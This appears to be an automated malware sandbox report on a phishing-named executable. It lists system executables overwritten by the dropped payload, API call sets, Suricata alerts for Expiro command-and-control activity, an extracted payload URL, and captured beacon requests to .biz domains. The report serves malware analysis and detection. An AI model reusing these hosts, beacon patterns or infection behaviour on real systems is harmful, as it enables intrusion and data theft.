Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\VSSVC.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\wbengine.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\SearchIndexer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\TieringEngineService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\AgentService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\SensorDataService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\msdtc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B15908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_02B15908
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	13_2_001A0207
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	13_2_001A589A
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001B3E66 FindFirstFileW,FindNextFileW,FindClose,	13_2_001B3E66
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	13_2_001A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 13_2_0019532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	13_2_0019532E
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	22_2_001A589A
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	22_2_001A0207
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001B3E66 FindFirstFileW,FindNextFileW,FindClose,	22_2_001B3E66
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	22_2_001A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 22_2_0019532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	22_2_0019532E

Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\java.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaw.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaws.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.9:49709 -> 54.244.188.177:80
Source: Network traffic	Suricata IDS: 2051648 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz) : 192.168.2.9:49551 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051648 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz) : 192.168.2.9:64135 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051649 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz) : 192.168.2.9:51600 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051649 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz) : 192.168.2.9:62925 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.9:49737 -> 82.112.184.197:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://lwaziacademy.com/royal/233_Sdvvfamydeo

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Code function: 0_2_02B2E4B8 InternetCheckConnectionA,

0_2_02B2E4B8

Source: global traffic

TCP traffic: 192.168.2.9:49725 -> 103.20.200.105:587

Source: global traffic

HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 13.248.148.254 13.248.148.254
Source: Joe Sandbox View	IP Address: 13.248.148.254 13.248.148.254
Source: Joe Sandbox View	IP Address: 172.234.222.143 172.234.222.143

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49707 -> 41.185.8.252:443
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.141.10.107:80 -> 192.168.2.9:49718
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.141.10.107:80 -> 192.168.2.9:49718
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 44.221.84.105:80 -> 192.168.2.9:49723
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 44.221.84.105:80 -> 192.168.2.9:49723
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49710 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 54.244.188.177:80 -> 192.168.2.9:49720
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 54.244.188.177:80 -> 192.168.2.9:49720

Source: global traffic

TCP traffic: 192.168.2.9:49725 -> 103.20.200.105:587

Source: global traffic	HTTP traffic detected: GET /royal/233_Sdvvfamydeo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: lwaziacademy.com
Source: global traffic	HTTP traffic detected: POST /nimjw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: POST /jae HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802
Source: global traffic	HTTP traffic detected: POST /kka HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /fapn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802
Source: global traffic	HTTP traffic detected: POST /fupmvmgjbhmts HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /xujrrbphgxpfxye HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802
Source: global traffic	HTTP traffic detected: POST /npdqgsoqmq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /obujsmdylt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802
Source: global traffic	HTTP traffic detected: GET /obujsmdylt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww99.przvgke.biz
Source: global traffic	HTTP traffic detected: POST /cbecuogqej HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: POST /bjede HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /cairvr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802
Source: global traffic	HTTP traffic detected: GET /bjede HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww99.przvgke.biz
Source: global traffic	HTTP traffic detected: GET /cairvr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww99.przvgke.biz
Source: global traffic	HTTP traffic detected: GET /bjede?usid=18&utid=28672493896 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww12.przvgke.biz
Source: global traffic	HTTP traffic detected: GET /cairvr?usid=18&utid=28672493914 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww7.przvgke.biz
Source: global traffic	HTTP traffic detected: POST /fauopp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /uoxisrajk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802
Source: global traffic	HTTP traffic detected: GET /fauopp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww99.przvgke.biz
Source: global traffic	HTTP traffic detected: GET /fauopp?usid=18&utid=28672494417 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww12.przvgke.biz
Source: global traffic	HTTP traffic detected: POST /jedofahyn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ahrvaxreoca HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802
Source: global traffic	HTTP traffic detected: POST /tjgeolaydho HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /bwbcqohd HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802
Source: global traffic	HTTP traffic detected: POST /pfoxkxwneqnmhcsc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /goescaydbiatn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802
Source: global traffic	HTTP traffic detected: POST /ewvwgr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ovwmjligotchf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802
Source: global traffic	HTTP traffic detected: POST /eooel HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.9:49712 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
